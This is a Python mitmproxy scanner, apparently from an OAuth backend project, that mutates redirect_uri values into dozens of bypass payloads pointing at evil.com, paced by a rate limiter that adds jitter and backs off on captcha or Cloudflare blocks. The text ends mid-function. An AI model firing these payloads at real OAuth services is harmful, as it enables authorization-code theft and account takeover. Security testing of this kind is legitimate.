mirror of
https://github.com/j93es/oauth-backend.git
synced 2026-06-04 06:31:51 +09:00
1400 lines
No EOL
61 KiB
Python
1400 lines
No EOL
61 KiB
Python
from mitmproxy import http
|
||
import aiohttp
|
||
import asyncio
|
||
import random
|
||
import time
|
||
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
|
||
from lib.report_vuln import report_vuln
|
||
|
||
class RedirectRateLimiter:
|
||
"""redirect_uri_check 전용 rate limiter"""
|
||
def __init__(self):
|
||
self.last_request = 0
|
||
self.request_count = 0
|
||
self.failure_count = 0
|
||
self.consecutive_failures = 0
|
||
self.blocked_until = 0
|
||
self.pattern_index = 0 # 현재 테스트 중인 패턴 번호
|
||
|
||
# 설정값 (전체 패턴 기준으로 최적화)
|
||
self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게)
|
||
self.failure_backoff = 0.5 # 실패시 0.5초씩 증가
|
||
self.max_delay = 5.0 # 최대 5초 지연
|
||
self.block_duration = 300 # 5분 차단
|
||
self.success_speedup = 0.8 # 성공시 속도 증가
|
||
|
||
async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool:
|
||
"""패턴별 레이트 리미팅"""
|
||
current_time = time.time()
|
||
|
||
# 차단 중인지 확인
|
||
if current_time < self.blocked_until:
|
||
remaining = int(self.blocked_until - current_time)
|
||
print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵")
|
||
return False
|
||
|
||
# 적응형 지연 시간 계산
|
||
delay = self._calculate_delay()
|
||
|
||
# 마지막 요청으로부터의 시간 확인
|
||
time_since_last = current_time - self.last_request
|
||
if time_since_last < delay:
|
||
wait_time = delay - time_since_last
|
||
print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})")
|
||
await asyncio.sleep(wait_time)
|
||
|
||
self.last_request = time.time()
|
||
self.request_count += 1
|
||
self.pattern_index += 1
|
||
|
||
# 진행률 표시 (10개마다)
|
||
if self.pattern_index % 10 == 0:
|
||
print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료")
|
||
|
||
return True
|
||
|
||
def _calculate_delay(self) -> float:
|
||
"""적응형 지연 시간 계산"""
|
||
delay = self.base_delay
|
||
|
||
# 연속 실패에 따른 백오프
|
||
if self.consecutive_failures > 0:
|
||
backoff = min(self.consecutive_failures * self.failure_backoff, 3.0)
|
||
delay += backoff
|
||
|
||
# 전체 실패율에 따른 조정
|
||
if self.request_count > 5:
|
||
failure_rate = self.failure_count / self.request_count
|
||
if failure_rate > 0.3: # 실패율 30% 초과시
|
||
delay *= (1 + failure_rate)
|
||
|
||
# 최대값 제한
|
||
delay = min(delay, self.max_delay)
|
||
|
||
# 랜덤 지터 (±20%)
|
||
jitter = random.uniform(0.8, 1.2)
|
||
return delay * jitter
|
||
|
||
def record_success(self):
|
||
"""성공 기록"""
|
||
self.consecutive_failures = 0
|
||
# 성공시 약간 속도 증가 (학습 효과)
|
||
if self.base_delay > 0.5:
|
||
self.base_delay *= self.success_speedup
|
||
|
||
def record_failure(self, error_msg: str = ""):
|
||
"""실패 기록 및 차단 감지"""
|
||
self.failure_count += 1
|
||
self.consecutive_failures += 1
|
||
|
||
# 즉시 차단이 필요한 패턴들
|
||
immediate_block_patterns = [
|
||
'403', '429', '503',
|
||
'forbidden', 'rate limit', 'rate-limit',
|
||
'too many requests', 'blocked', 'banned',
|
||
'captcha', 'recaptcha', 'cloudflare',
|
||
'security check', 'access denied'
|
||
]
|
||
|
||
error_lower = str(error_msg).lower()
|
||
should_block = any(pattern in error_lower for pattern in immediate_block_patterns)
|
||
|
||
if should_block:
|
||
self.blocked_until = time.time() + self.block_duration
|
||
print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}")
|
||
return
|
||
|
||
# 연속 실패 임계값 도달시 차단
|
||
if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용
|
||
self.blocked_until = time.time() + self.block_duration
|
||
print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기")
|
||
|
||
def reset_for_new_target(self):
|
||
"""새로운 타겟 시작시 일부 통계 리셋"""
|
||
self.pattern_index = 0
|
||
self.consecutive_failures = 0
|
||
# base_delay와 전체 통계는 유지 (학습된 내용)
|
||
|
||
# 글로벌 레이트 리미터
|
||
redirect_limiter = RedirectRateLimiter()
|
||
|
||
class BypassPayload:
|
||
""" 우회 패턴 정의 """
|
||
def __init__(self, name: str, mutate_func, description: str):
|
||
self.name = name
|
||
self.mutate = mutate_func #우회 url 만드는 함수
|
||
self.description = description
|
||
|
||
|
||
class RedirectBypassChecker:
|
||
def __init__(self):
|
||
""" 우회 페이로드 목록 """
|
||
self.bypass_payloads = [
|
||
BypassPayload(
|
||
name=r"@",
|
||
mutate_func=self._mutate_pattern1,
|
||
description=r"Host bypass attack using @ symbol: evil.com@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"%ff@",
|
||
mutate_func=self._mutate_pattern2,
|
||
description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"%ff_subdomain",
|
||
mutate_func=self._mutate_pattern3,
|
||
description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"fullwidth_slash_direct",
|
||
mutate_func=self._mutate_pattern4_1,
|
||
description=r"Direct fullwidth slash bypass: target.com/@evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"fullwidth_slash_encoded",
|
||
mutate_func=self._mutate_pattern4_2,
|
||
description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"fullwidth_backslash_direct",
|
||
mutate_func=self._mutate_pattern4_3,
|
||
description=r"Direct fullwidth backslash bypass: target.com\@evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"fullwidth_backslash_encoded",
|
||
mutate_func=self._mutate_pattern4_4,
|
||
description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_backslash_types",
|
||
mutate_func=self._mutate_pattern5,
|
||
description=r"Mixed backslash types: target.com\\\evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_backslash_fullwidth_slash",
|
||
mutate_func=self._mutate_pattern6,
|
||
description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"path_traversal_basic",
|
||
mutate_func=self._mutate_pattern7_1,
|
||
description=r"Basic path traversal: target.com/path/../../../evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_deep",
|
||
mutate_func=self._mutate_pattern7_2,
|
||
description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_absolute",
|
||
mutate_func=self._mutate_pattern7_3,
|
||
description=r"Absolute path traversal: target.com/../evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_mixed",
|
||
mutate_func=self._mutate_pattern7_4,
|
||
description=r"Mixed slash traversal: target.com/path/.././.././evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_semicolon",
|
||
mutate_func=self._mutate_pattern7_5,
|
||
description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_encoded",
|
||
mutate_func=self._mutate_pattern7_6,
|
||
description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_double_encoded",
|
||
mutate_func=self._mutate_pattern7_7,
|
||
description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_hex",
|
||
mutate_func=self._mutate_pattern7_8,
|
||
description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_unicode",
|
||
mutate_func=self._mutate_pattern7_9,
|
||
description=r"Unicode dot traversal: target.com/path/../../evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_backslash",
|
||
mutate_func=self._mutate_pattern7_10,
|
||
description=r"Backslash traversal: target.com/path\\..\\..\\evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_overlong",
|
||
mutate_func=self._mutate_pattern7_11,
|
||
description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com"
|
||
),
|
||
BypassPayload(
|
||
name=r"path_traversal_null",
|
||
mutate_func=self._mutate_pattern7_12,
|
||
description=r"Null byte traversal: target.com/path/../%00../evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"wildcard_subdomain_bypass",
|
||
mutate_func=self._mutate_pattern8,
|
||
description=r"Wildcard subdomain bypass: attacker.target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"backslash_bypass",
|
||
mutate_func=self._mutate_pattern9,
|
||
description=r"Backslash URL parsing bypass: target.com\\evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"double_slash",
|
||
mutate_func=self._mutate_pattern10,
|
||
description=r"Double slash bypass: target.com//evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"question_mark",
|
||
mutate_func=self._mutate_pattern11,
|
||
description=r"Question mark bypass: target.com?evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"idn_homograph",
|
||
mutate_func=self._mutate_pattern12,
|
||
description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"ipv6_bypass",
|
||
mutate_func=self._mutate_pattern13,
|
||
description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_case_idn_combo",
|
||
mutate_func=self._mutate_pattern14,
|
||
description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"fragment_bypass",
|
||
mutate_func=self._mutate_pattern15,
|
||
description=r"Fragment identifier bypass: target.com#@evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"combined_bypass",
|
||
mutate_func=self._mutate_pattern16,
|
||
description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"path_backslash_domain",
|
||
mutate_func=self._mutate_pattern17,
|
||
description=r"Path backslash domain bypass: target.com\\.evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_basic",
|
||
mutate_func=self._mutate_pattern18_1,
|
||
description=r"Basic mixed encoding: evil.com%09%0A%20@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_full",
|
||
mutate_func=self._mutate_pattern18_2,
|
||
description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_special",
|
||
mutate_func=self._mutate_pattern18_3,
|
||
description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_double",
|
||
mutate_func=self._mutate_pattern18_4,
|
||
description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_reverse",
|
||
mutate_func=self._mutate_pattern18_5,
|
||
description=r"Reverse control chars: evil.com%20%0A%09@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_encoding_chaos_repeat",
|
||
mutate_func=self._mutate_pattern18_6,
|
||
description=r"Repeated control chars: evil.com%09%09%09@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"subdomain_confusion_hyphen",
|
||
mutate_func=self._mutate_pattern19,
|
||
description=r"Subdomain confusion with hyphen: target-com.evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"semicolon_userinfo_bypass",
|
||
mutate_func=self._mutate_pattern20,
|
||
description=r"Semicolon userinfo bypass: target.com;evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"tab_character_bypass",
|
||
mutate_func=self._mutate_pattern21,
|
||
description=r"Tab character bypass using %09: evil.com%09@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"space_character_bypass",
|
||
mutate_func=self._mutate_pattern22,
|
||
description=r"Space character bypass using %20: evil.com%20@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"form_feed_bypass",
|
||
mutate_func=self._mutate_pattern23,
|
||
description=r"Form feed character bypass using %0c: evil.com%0c@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"vertical_tab_bypass",
|
||
mutate_func=self._mutate_pattern24,
|
||
description=r"Vertical tab bypass using %0b: evil.com%0b@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"%0a@",
|
||
mutate_func=self._mutate_pattern25,
|
||
description=r"Newline character bypass using %0a@: evil.com%0a@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"%0d@",
|
||
mutate_func=self._mutate_pattern26,
|
||
description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"crlf_injection",
|
||
mutate_func=self._mutate_pattern27,
|
||
description=r"CRLF injection bypass: evil.com%0D%0A@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"mixed_case_scheme",
|
||
mutate_func=self._mutate_pattern28,
|
||
description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"scheme_dot_injection",
|
||
mutate_func=self._mutate_pattern29,
|
||
description=r"Scheme dot injection: https.://evil.com@target.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"port_encoded_bypass",
|
||
mutate_func=self._mutate_pattern30,
|
||
description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"ampersand_encoded_bypass",
|
||
mutate_func=self._mutate_pattern31,
|
||
description=r"Ampersand encoded bypass: target.com &%40evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"underscore_encoded_bypass",
|
||
mutate_func=self._mutate_pattern32,
|
||
description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"comma_separator_bypass",
|
||
mutate_func=self._mutate_pattern33,
|
||
description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"schemeless_bypass",
|
||
mutate_func=self._mutate_pattern34,
|
||
description=r"Schemeless bypass: //evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"schema_colon_bypass",
|
||
mutate_func=self._mutate_pattern35,
|
||
description=r"Schema colon bypass: http:evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"null_byte_prefix",
|
||
mutate_func=self._mutate_pattern36,
|
||
description=r"Null byte prefix: %00http://evil.com"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"unicode_spaces_bypass",
|
||
mutate_func=self._mutate_pattern37,
|
||
description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)"
|
||
),
|
||
|
||
BypassPayload(
|
||
name=r"bracket_encoded_bypass",
|
||
mutate_func=self._mutate_pattern38,
|
||
description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)"
|
||
),
|
||
|
||
]
|
||
self.session = None
|
||
|
||
""" 우회 URL 생성 목록 """
|
||
# 1. @
|
||
def _mutate_pattern1(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] original: {original} → mutated: {mutated}")
|
||
return mutated
|
||
|
||
# 2. %ff@ - 유니코드 바이트 우회
|
||
def _mutate_pattern2(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil%ff@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] %ff@ pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입
|
||
def _mutate_pattern3(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil%ff.{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC
|
||
# 4_1. 직접 전각 슬래시
|
||
def _mutate_pattern4_1(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}/@evil.com{path_part}"
|
||
print(f"[redirect_uri_check] direct fullwidth slash: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 4_2. URL 인코딩된 전각 슬래시
|
||
def _mutate_pattern4_2(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# %EF%BC%8F = 전각 슬래시 (/)
|
||
mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}"
|
||
print(f"[redirect_uri_check] encoded fullwidth slash: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 4_3. 직접 전각 백슬래시
|
||
def _mutate_pattern4_3(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}\@evil.com{path_part}"
|
||
print(f"[redirect_uri_check] direct fullwidth backslash: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 4_4. URL 인코딩된 전각 백슬래시
|
||
def _mutate_pattern4_4(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# %EF%BC%BC = 전각 백슬래시 (\)
|
||
mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}"
|
||
print(f"[redirect_uri_check] encoded fullwidth backslash: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 5. 백슬래시 + 전각 백슬래시 조합
|
||
def _mutate_pattern5(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}\\\evil.com{path_part}"
|
||
print(f"[redirect_uri_check] mixed backslash types: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 6. 백슬래시 + 전각 슬래시 조합
|
||
def _mutate_pattern6(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}\\/evil.com{path_part}"
|
||
print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7. 경로 순회 - Path traversal bypass
|
||
# 7-1. 기본 경로 순회
|
||
def _mutate_pattern7_1(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com"
|
||
print(f"[redirect_uri_check] basic path traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-2. 더 많은 경로 순회
|
||
def _mutate_pattern7_2(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com"
|
||
print(f"[redirect_uri_check] deep path traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-3. 절대 경로로 우회
|
||
def _mutate_pattern7_3(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
mutated = f"https://{parsed.netloc}/../evil.com"
|
||
print(f"[redirect_uri_check] absolute path traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-4. 혼합 슬래시 패턴
|
||
def _mutate_pattern7_4(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com"
|
||
print(f"[redirect_uri_check] mixed slash traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-5. 점 뒤에 추가 문자
|
||
def _mutate_pattern7_5(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com"
|
||
print(f"[redirect_uri_check] semicolon path traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-6. URL 인코딩된 경로 순회
|
||
def _mutate_pattern7_6(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# %2e = ., %2f = /
|
||
mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com"
|
||
print(f"[redirect_uri_check] URL encoded traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-7. 이중 URL 인코딩
|
||
def _mutate_pattern7_7(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# %252e = 이중 인코딩된 .
|
||
mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com"
|
||
print(f"[redirect_uri_check] double encoded traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-8. 16진수 인코딩
|
||
def _mutate_pattern7_8(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# 0x2e2e2f = ../
|
||
mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com"
|
||
print(f"[redirect_uri_check] hex encoded traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-9. 유니코드 정규화 우회
|
||
def _mutate_pattern7_9(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# 유니코드 점 문자들 (U+002E, U+FF0E 등)
|
||
mutated = f"https://{parsed.netloc}{base_path}/../../evil.com"
|
||
print(f"[redirect_uri_check] unicode dot traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-10. 백슬래시 + 경로 순회 조합
|
||
def _mutate_pattern7_10(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com"
|
||
print(f"[redirect_uri_check] backslash traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-11. 오버롱 UTF-8 인코딩
|
||
def _mutate_pattern7_11(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# %c0%ae = 오버롱 UTF-8로 인코딩된 점
|
||
mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com"
|
||
print(f"[redirect_uri_check] overlong UTF-8 traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 7-12. 널 바이트 삽입
|
||
def _mutate_pattern7_12(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
base_path = parsed.path if parsed.path else "/callback"
|
||
# %00 = 널 바이트
|
||
mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com"
|
||
print(f"[redirect_uri_check] null byte traversal: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 8. 와일드카드 서브도메인 우회
|
||
def _mutate_pattern8(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회
|
||
mutated = f"https://attacker.{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] wildcard subdomain bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 9. 백슬래시 우회 - Dart SDK Issue #50075
|
||
def _mutate_pattern9(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}\\evil.com{path_part}"
|
||
print(f"[redirect_uri_check] backslash pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 10. 이중 슬래시
|
||
def _mutate_pattern10(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}//evil.com{path_part}"
|
||
print(f"[redirect_uri_check] double slash pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 11. 물음표 우회
|
||
def _mutate_pattern11(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://{parsed.netloc}?evil.com{path_part}"
|
||
print(f"[redirect_uri_check] question mark pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인
|
||
def _mutate_pattern12(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용
|
||
mutated = f"https://еvil.example@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] IDN homograph pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 13. IPv6 주소 우회 - 안전한 버전
|
||
def _mutate_pattern13(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
|
||
# 안전한 IPv6 @ 우회 패턴
|
||
if "localhost" in parsed.netloc:
|
||
mutated = f"https://evil.example@[::1]:3000{path_part}"
|
||
else:
|
||
# RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨)
|
||
mutated = f"https://evil.example@[2001:db8::1]{path_part}"
|
||
|
||
print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 14. 대소문자 + IDN 문자 조합으로 필터 우회
|
||
def _mutate_pattern14(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자
|
||
print(f"[redirect_uri_check] mixed case IDN bypass: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 15. Fragment identifier 우회
|
||
def _mutate_pattern15(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음
|
||
mutated = f"https://{parsed.netloc}{path_part}#@evil.com"
|
||
print(f"[redirect_uri_check] fragment bypass pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 16. 복합 우회 패턴 - 여러 기법 동시 적용
|
||
def _mutate_pattern16(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# @ 우회 + 이중 슬래시 + 경로 순회 조합
|
||
mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}"
|
||
print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge)
|
||
def _mutate_pattern17(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
# target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치
|
||
mutated = f"https://{parsed.netloc}\\.evil.com"
|
||
print(f"[redirect_uri_check] path backslash domain: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합)
|
||
def _mutate_pattern18_1(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# 탭 + 줄바꿈 + 공백
|
||
mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] mixed encoding chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_2. 모든 제어 문자 조합
|
||
def _mutate_pattern18_2(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
# 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백
|
||
mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] full control char chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_3. 제어 문자 + 특수 문자
|
||
def _mutate_pattern18_3(self, original: str) -> str:
|
||
parsed = urlparse(original)
|
||
path_part = parsed.path if parsed.path else ""
|
||
mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}"
|
||
print(f"[redirect_uri_check] control + special char chaos: {original} → {mutated}")
|
||
return mutated
|
||
|
||
# 18_4. 이중 인코딩 + 제어 문자
|
||
def _mutate_pattern18_4(self, original: str) -> str:
|
||
